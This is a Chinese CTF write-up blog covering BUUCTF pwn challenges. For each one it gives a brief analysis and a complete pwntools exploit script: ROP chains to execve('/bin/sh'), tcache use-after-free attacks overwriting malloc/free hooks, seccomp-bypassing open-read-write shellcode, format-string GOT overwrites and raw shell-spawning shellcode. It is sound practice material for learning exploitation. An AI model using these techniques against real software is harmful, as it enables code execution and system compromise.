BUUCTF暑假刷题(1)

cmcc_simplerop

分析

静态链接。32位程序。用int 80h 这个中断调用,呼叫系统调用程序system_call().。

然后rop 控制EAX = 0Xb = 11,EBX = &(“/bin/sh”), ECX = EDX = 0,即执行了sys_execve("/bin/sh", 0, 0, 0),即可拿到shell。

32位系统调用表:https://blog.csdn.net/xiaominthere/article/details/17287965

exp

from pwn import *
import time
local_file  = './simplerop'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # '../libc.so.6
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',29124)
    libc = ELF(remote_libc)
elf = ELF(local_file)
libc = elf.libc
context.arch = elf.arch
context.terminal = ['tmux','neww']
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
sea     = lambda delim,data         :io.sendafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

offset = 32
start = 0x8048E45
read = 0x806CD50
pop_eax_ret = 0x080bae06
pop_ebx_ret = 0x080481c9
pop_ecx_ebx_ret = 0x0806e851
pop_edx_ret = 0x0806e82a
pop3_ret = 0x08048913
bss = 0x80EC2EC - 0x10
ret = 0x8048E6F
in_t_0x80 = 0x080493e1
payload = 'a' * offset + flat([read,pop3_ret,0,bss,0x8])
payload += flat([pop_eax_ret,11,pop_ecx_ebx_ret,0,bss,pop_edx_ret,0,in_t_0x80])
sa(':',payload)
s('/bin/sh\x00')
itr()

其中rop链read后返回地址:pop3_ret,是为了pop 0,bss,0x8,然后再跟着rop。

ciscn_2019_n_3

分析

Ubuntu 18 ,存在UAF漏洞。

int __cdecl rec_str_free(void *ptr)
{
  free(*((void **)ptr + 2));
  free(ptr);
  return puts("Note freed!");
}

每创建一个堆,就有一个0x10的堆空间,存放函数指针。一看到这个,就可以说是暗示攻击这个地方来劫持程序流程。

int do_del()
{
  int v0; // eax

  v0 = ask((int)"Index");
  return (*(int (__cdecl **)(int))(records[v0] + 4))(records[v0]);
}

利用这个函数来劫持程序流程。
new(0,2,0x40,payload)看一下程序的内存情况, 对于其中的(*(int (__cdecl **)(int))(records[v0] + 4))(records[v0])

gef➤  p &records
$1 = (<data variable, no debug info> *) 0x804b080 <records>
gef➤  x/wx 0x804b080
0x804b080 <records>:    0x08635160
gef➤  x/wx 0x08635160
0x8635160:      0x080486de

所以 records[v0] = 0x08635160

gef➤  x/wx 0x08635160+4
0x8635164:      0x08048725
gef➤  x/i 0x08048725
   0x8048725 <rec_str_free>:    push   ebp

所以 *(int (__cdecl **)(int))(records[v0] + 4)) = 0x8048725 <rec_str_free>:



如图,把这里的函数指针控制成sh\x00\00 + &system ,即执行do_del时,运行的就是system(sh)可拿到shell。

exp

from pwn import *
import time
local_file  = './ciscn_2019_n_3'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # '../libc.so.6
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',26453)
    libc = ELF(remote_libc)
elf = ELF(local_file)
libc = elf.libc
context.arch = elf.arch
context.terminal = ['tmux','neww']
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
sea     = lambda delim,data         :io.sendafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def new(id,type,len,context):
    sla("CNote >",'1')
    sla("dex >",str(id))
    sla("Type >",str(type))
    sla("th >",str(len))
    sa("ue >",str(context))

def free(id):
    sla("CNote >",'2')
    sla("dex >",str(id))

def show(id):
    sla("CNote >",'3')
    sla("dex >",str(id))

payload = "a" + '\n'
new(0,2,0x40,payload)
new(1,2,0x40,payload)
free(1)
free(0)
system = elf.plt['system']
new(2,2,0x9,'sh\x00\x00'+ p32(system))
free(1)
itr()

无system函数情况下

Leak libc,还是攻击那一个函数指针,本地通远程没通。

在测试的时候,由于fgets总是在你传入的字符串后加上\x00,曾经就遇到
过,导致泄漏十分难进行,但是发现:

payload = ''
new(2,2,0x0,payload)
ru("lue=")
libc_base = uu32(r(4)) - 0x1d89d8

传入空字节竟然可以通过,且没有加上\x00,从而不影响泄漏libc。还不知道是否以后遇到fgets函数就可以这样处理其影响,先挖个坑,记录着。

payload = 'a' + '\n'
new(0,2,0x400,payload)
new(1,2,0x400,payload)
free(0)
payload = ''
new(2,2,0x0,payload)
ru("lue=")
libc_base = uu32(r(4)) - 0x1d89d8
info_addr("libc_base",libc_base)
payload = '\x00'*4 + '/bin/sh\x00' +'\n'
new(3,2,0x400-0x10-0x10,payload)
new(4,2,0x40,payload)
new(5,2,0x40,payload)
free(5)
free(4)
rec = libc_base + 0x3d123
new(6,2,0x9,p32(rec) + p32(rec))
# free(5)
show(5)
# debug()
itr()

V&N2020easyTHeap

分析

Ubuntu 18 ,存在UAF漏洞,tcache dup攻击。

考点:

  • 攻击tcache_perthread_struct,伪造tcache已经满了
  • 攻击tcache_entry,在指定的位置写上目标地址,在申请一个对应大小的堆,即可实现任意地址写入。

    exp

from pwn import *
import time
local_file  = './vn_pwn_easyTHeap'
local_libc  = '/lib/x86_64-linux-gnu/libc-2.27.so'
remote_libc = './libc-2.27.so'
context.log_level = 'debug'
debug = 1
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',25814)
    libc = ELF(remote_libc)
elf = ELF(local_file)
# libc = elf.libc
context.arch = elf.arch
context.terminal = ['tmux','neww']
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
sea     = lambda delim,data         :io.sendafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(size):
    sla("choice",'1')
    sla("?",str(size))
def edit(idx,context):
    sla("choice",'2')
    sla('idx',str(idx))
    sa('content',str(context))
def show(idx):
    sla('choice','3')
    sla('idx',str(idx))
def free(idx):
    sla('choice','4')
    sla("idx",str(idx))

add(0x100) #0
add(0x100) #1
free(0)
free(0)
show(0)
r()
heapbase = uu64(r(6)) - 0x260
info_addr('heapbase',heapbase)
add(0x100) #2
edit(2,p64(heapbase+0x10))
add(0x100) #3
add(0x100) #4
edit(4,'\x07'*0x10)
free(0)
show(0)
r()
libc_base = uu64(r(6)) - 0x3ebca0
info_addr('libc_base',libc_base)
__malloc_hook = libc_base + 0x3ebc30
__realloc_hook = __malloc_hook -0x8
payload = '\x00' * (8+7) + '\x01' + '\x00' * (0x80 - 8 - 8) + '\x00' * 0x38 + p64(__realloc_hook)
edit(4,payload)
add(0x100) #5
onerec = 0x10a38c + libc_base
realloc_addr = libc_base + libc.symbols['__libc_realloc']
info_addr('relloc',realloc_addr)
info_addr('__malloc_hook',__malloc_hook)
payload = p64(onerec) + p64(realloc_addr+8)
edit(5,payload)
add(0x100)
#debug()
itr()

ciscn_2019_final_3

分析

Ubuntu 18,保护全开,存在uaf漏洞。

程序只有增加和删除的功能,但是增加一个堆块后回给你返回申请堆块的地址信息。

 printf("gift :%p\n", heaplist[HIDWORD(size)]);

删除堆后,没有置0的操作,存在uaf。

考点:

  • 攻击tcache_perthread_struct,伪造tcache已经满了
  • 攻击tcache_entry,在指定的位置写上目标地址,在申请一个对应大小的堆,即可实现任意地址写入。

难点:

  • 泄漏libc地址
  • 精巧的构造一个任意地址写(在tcache struct处折腾)

exp

from pwn import *
import time
local_file  = './ciscn_final_3'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # './libc.so.6'
context.log_level = 'debug'
debug = 1
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',27714)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.arch = elf.arch
context.terminal = ['tmux','neww']
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = []
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
sea     = lambda delim,data         :io.sendafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(idx,size,content):
    sla(">",'1')
    sla('index',str(idx))
    sla('size',str(size))
    sa('thing',str(content))
    ru("0x")
    gift = int(r(12),16)
    info_addr('gift',gift)
    return gift
def free(idx):
    sla(">",'2')
    sla("index",str(idx))

heap_base = add(0,0x48,'a') - 0x11e70
free(0)
free(0)
add(1,0x48,p64(heap_base+0x10))
add(2,0x48,p64(heap_base+0x10))
payload = 0x30 * '\x07'
add(3,0x48,payload)
free(3)
payload = 0x30 * '\x00'
add(4,0x48,payload)
add(5,0x10,' ')
libc_base = add(6,0x78,' ') - 0x3ebca0
info_addr('libc_base',libc_base)
free_hook = libc_base + 0x3ed8e8
free(5)
add(7,0x10,p64(free_hook)*2)
one_rec = 0x4f322 + libc_base
add(8,0x48,p64(one_rec))
# debug()
free(4)
itr()

调试一下就懂了。其中0x10那个堆块的申请很重要,正好可以供后面的使用。

picoctf_2018_rop chain

分析

只是一个简单的rop,考的就是32位下如何控制传参数。

exp

from pwn import *
import time
local_file  = './PicoCTF_2018_rop_chain'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # './libc.so.6'
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',29550)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.arch = elf.arch
context.terminal = ['tmux','neww'] #,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = []
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()
win_function1 = 0x080485CB
win_function2 = 0x80485D8
flag = 0x0804862B
offset = 0x18 + 4
ru('Enter your input>')
payload = 'a' * offset + flat([win_function1,win_function2,flag,0xBAAAAAAD,0xDEADBAAD])
# debug()
s(payload + '\n')
itr()

pwnable_orw

分析

考点 :

  • 简单shellcode 的编写
  • seccomp(挖坑)

https://veritas501.space/2018/05/05/seccomp%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

https://blog.betamao.me/2019/01/23/Linux%E6%B2%99%E7%AE%B1%E4%B9%8Bseccomp/

先用seccomp-tools看下禁用了什么函数:

➜  pwnable_orw seccomp-tools dump ./orw
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

明显只能执行 open read wirte 函数。

#这里可以用pwntools库的一个函数代替,shellcraft
c语言:open("/home/orw/flag") <==> 汇编:asm(shellcraft.open("/home/orw/flag"))
c语言:read(3,buf,0x20)<==> 汇编:asm(shellcraft.read(3,"esp",0x20)
c语言:write(1,buf,0x20)<==>汇编:asm(shellcraft.write(1,"esp",0x20))

其中 就是以esp当做临时变量 buf的地址,其可以自定义。

其中open函数执行后,由于是打开了一个新的文件,其返回的fd就是3,所以后面跟着的read的文件描述符也为3。

exp

from pwn import *
import time
local_file  = './orw'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # './libc.so.6'
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',26224)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = []
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

bss = 0x804A128 - 0x30
payload= asm(shellcraft.open("./flag"))
payload += asm(shellcraft.read(3,bss,0x30))
payload += asm(shellcraft.write(1,bss,0x30))

sl(payload)

itr()

V&N2020 公开赛warmup

分析

开启了沙盒,使用orw获取flag即可。


Here is my gift: 0x7f411f85c9c0
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x07 0x00 0x40000000  if (A >= 0x40000000) goto 0011
 0004: 0x15 0x06 0x00 0x0000003b  if (A == execve) goto 0011
 0005: 0x15 0x00 0x04 0x00000001  if (A != write) goto 0010
 0006: 0x20 0x00 0x00 0x00000024  A = count >> 32 # write(fd, buf, count)
 0007: 0x15 0x00 0x02 0x00000000  if (A != 0x0) goto 0010
 0008: 0x20 0x00 0x00 0x00000020  A = count # write(fd, buf, count)
 0009: 0x15 0x01 0x00 0x00000010  if (A == 0x10) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

其中,这题因为只有0x10的溢出空间,猛的一看需要栈迁移,但是会发现不知道往哪里迁移。看了师傅们的博客才知道,由于第一个栈空间较大,且与第二个可以溢出的栈是紧邻的。然后,就可以在溢出时覆盖一下返回地址,覆盖为ret,这样就可以多一个ret,从而接着执行上一个栈帧buf里面构造的rop链。

并且在orw中,open函数的第一个参数时一个指针地址(*filename),所以需要先read一下flag的文件名到一个buf当中,然后再进行orw。

Buf的寻找:
在libc中找一个没有用到的地址段即可。比如__free_hook

exp

from pwn import *
import time
local_file  = './vn_pwn_warmup'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # './libc.so.6'
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',27585)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.arch = elf.arch
context.terminal = ['tmux','neww']
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

ru('0x')
libc_base = int(r(12),16) - libc.sym['puts']
info_addr('libc_base',libc_base)
pop_rdi = 0x0000000000021102 + libc_base
pop_rsi = 0x00000000000202e8 + libc_base
pop_rdx = 0x0000000000001b92 + libc_base
open = libc_base+libc.sym['open']
read = libc_base+libc.sym['read']
puts = libc_base+libc.sym['puts']
buf = libc_base+libc.sym['__free_hook']

payload = flat([
    pop_rdi,0,pop_rsi,buf,pop_rdx,8,read,
    pop_rdi,buf,pop_rsi,0,pop_rdx,0,open,
    pop_rdi,3,pop_rsi,buf,pop_rdx,0x30,read,
    pop_rdi,buf,puts
])
sa(':',payload)
# debug()
ret = libc_base + 0x0000000000000937
payload = 'a' * 0x78 + p64(ret)
sa('?',payload)
sleep(1)
# debug()
s('./flag\x00\x00')
itr()

picoctf_2018_buffer overflow 1

简单的栈溢出,且存在后门。

exp

from pwn import *
import time
local_file  = './PicoCTF_2018_buffer_overflow_1'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # './libc.so.6'
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',29988)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.arch = elf.arch
context.terminal = ['tmux','neww']
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

win = 0x080485CB
offset = 0x28 + 0x4
payload = 'a'*offset + p32(win)
sa(':',payload)
itr()

picoctf_2018_buffer overflow 2

类似上题,考个控制传参。

exp

from pwn import *
import time
local_file  = './PicoCTF_2018_buffer_overflow_2'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # './libc.so.6'
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',29988)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.arch = elf.arch
context.terminal = ['tmux','neww']
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()
win = 0x80485CB
offset = 0x6c + 0x4
payload = 'a'*offset + p32(win) + p32(0xDEADBEEF) + p32(0xDEADBEEF) + p32(0xDEADC0DE)
s(payload)

axb_2019_fmt32

32位的格式化字符串,考的是单次printf多次写入,因为是32位pwntools的fmtstr_payload是十分好用的。

exp

from pwn import *
import time
local_file  = './axb_2019_fmt32'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # './libc.so.6'
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',29147)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.arch = elf.arch
context.terminal = ['tmux','neww']
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()
printf_got = 0x804A014
payload = "%9$sA" + p32(0x804A014)
sla('me:',payload)
ru('Repeater:')
printf_got = uu32(r(4))
libc_base = printf_got - 0x049020
info_addr('libc_base',libc_base)
offset = 8
rce = libc_base + 0x3a80c
info_addr('rec',rce)
payload = 'a' + fmtstr_payload(offset,{0x804A014:rce},write_size = "byte",numbwritten = 10)
sla('me:',payload)
itr()

pwnable_start

分析

32位,无任何保护,作者自己汇编写的程序。
分析汇编以后可以认为就是:

write(1,esp,20)
read(0,esp,60)

十分明显的栈溢出,但是难点在shellcode摆上栈以后,如何跳转过去执行。

利用思路:

  • 利用控制eip,返回wirte处,泄漏一下栈地址,然后根据偏移算出esp的地址
  • 摆shellcode上栈,控制好eip

exp

from pwn import *
import time
local_file  = './start'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # './libc.so.6'
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',27834)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.arch = elf.arch
context.terminal = ['tmux','neww']
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()
# debug()
payload = 'a' * 0x14 + p32(0x08048087)
sa(":",payload)
new_esp = uu32(r(4)) - 4
addr_shellcode = new_esp + 0x14 + 4
info_addr('new esp',new_esp)
shellcode  = "\x31\xc0\x50\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89"
shellcode += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode += "\xcd\x80\x31\xc0\x40\xcd\x80"
s('a' * 0x14 + p32(addr_shellcode) + shellcode)
itr()

Shell code 网上一找有很多,找到一个合适字节限制,且可以执行的即可。

inndy_rop

做法跟 cmcc_simplerop基本一样,除了偏移。

32位下,sys_execve("sh", 0, 0, 0) 行不通。(上来测试这个,测试一阵子)

BJDCTF 2nd secret

分析

慢慢分析可以发现一个溢出点,且利用此处只是可以做到任意地址的数据减1。

然后想到可以在got表处下手,其中printf、system函数在程序达到一定条件才会运行。所以其got处的值是特定的,并且是相近的。

如图所示,相差10。然后利用原来的溢出点,放入printf的got表地址,让其减10次1,也就是答对10次serect后,让程序走向结束处,调用printf。其printf的buf打印的是name,这个是可控的,写成/bin/sh\x00即可。

exp

from pwn import *
import time
local_file  = './secret'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # './libc.so.6'
context.log_level = 'debug'
debug = 1
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',29635)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.arch = elf.arch
context.terminal = ['tmux','neww']
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()
payload = '/bin/sh\x00' + "\x00" * 8 + p64(elf.got['printf'])[:5]
#此处payload 因为read那里读的数据大小限制,需要调整一下payload的长度。
# debug()

sla("What's your name?",payload)
answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]

for i in range(len(answer)):
    print(answer[i])
    sa("Secret",str(answer[i]))

sla("Secret",'1')
itr()

ciscn_2019_es_1

分析

64位,ubuntu 18. 存在 UAF,十分简单的tcache dup攻击。

exp

from pwn import *
import time
local_file  = './ciscn_2019_es_1'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = local_libc # './libc.so.6'
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = ELF(local_libc)
else:
    io = remote('node3.buuoj.cn',29639)
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.arch = elf.arch
context.terminal = ['tmux','neww']
rce18 = [0x4f2c5,0x4f322,0x10a38c]
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    gdb.attach(io)
    pause()
def add(size,name,call):
    sla('ice:','1')
    sla('size',str(size))
    sa('name',str(name))
    sa('call',str(call))
def show(idx):
    sla('ice','2')
    sla('dex',str(idx))
def call(idx):
    sla('ice','3')
    sla('dex',str(idx))
add(0x500,'chumen77','chumen77') #0
add(0x80,'chumen77','chumen77') #1
# debug()
call(0)
show(0)
ru('name:\n')
libc_base = uu64(r(6)) - 0x3ebca0
info_addr('libc',libc_base)
#get libc
add(0x510-0x20-0x10,'chumen77','chumen77') #2
add(0x20,'chumen77','chumen77') #3
call(3)
call(3)
free_hook = libc_base + 0x3ed8e8
add(0x20,p64(free_hook),p64(free_hook)) #4
add(0x20,p64(free_hook),p64(free_hook)) #5
rec = rce18[1] + libc_base
add(0x20,p64(rec),p64(rec))
call(1)
itr()

ciscn_2019_s_4

分析

int vul()
{
  char s; // [esp+0h] [ebp-28h]

  memset(&s, 0, 0x20u);
  read(0, &s, 0x30u);
  printf("Hello, %s\n", &s);
  read(0, &s, 0x30u);
  return printf("Hello, %s\n", &s);
}
  • 存在栈溢出,溢出8个字节,考虑栈转移。
  • 在填充buf, %s 在32位用于泄漏栈上的信息。

所以可以考虑泄漏处栈地址,libc地址。从而算出buf的base与libc base。

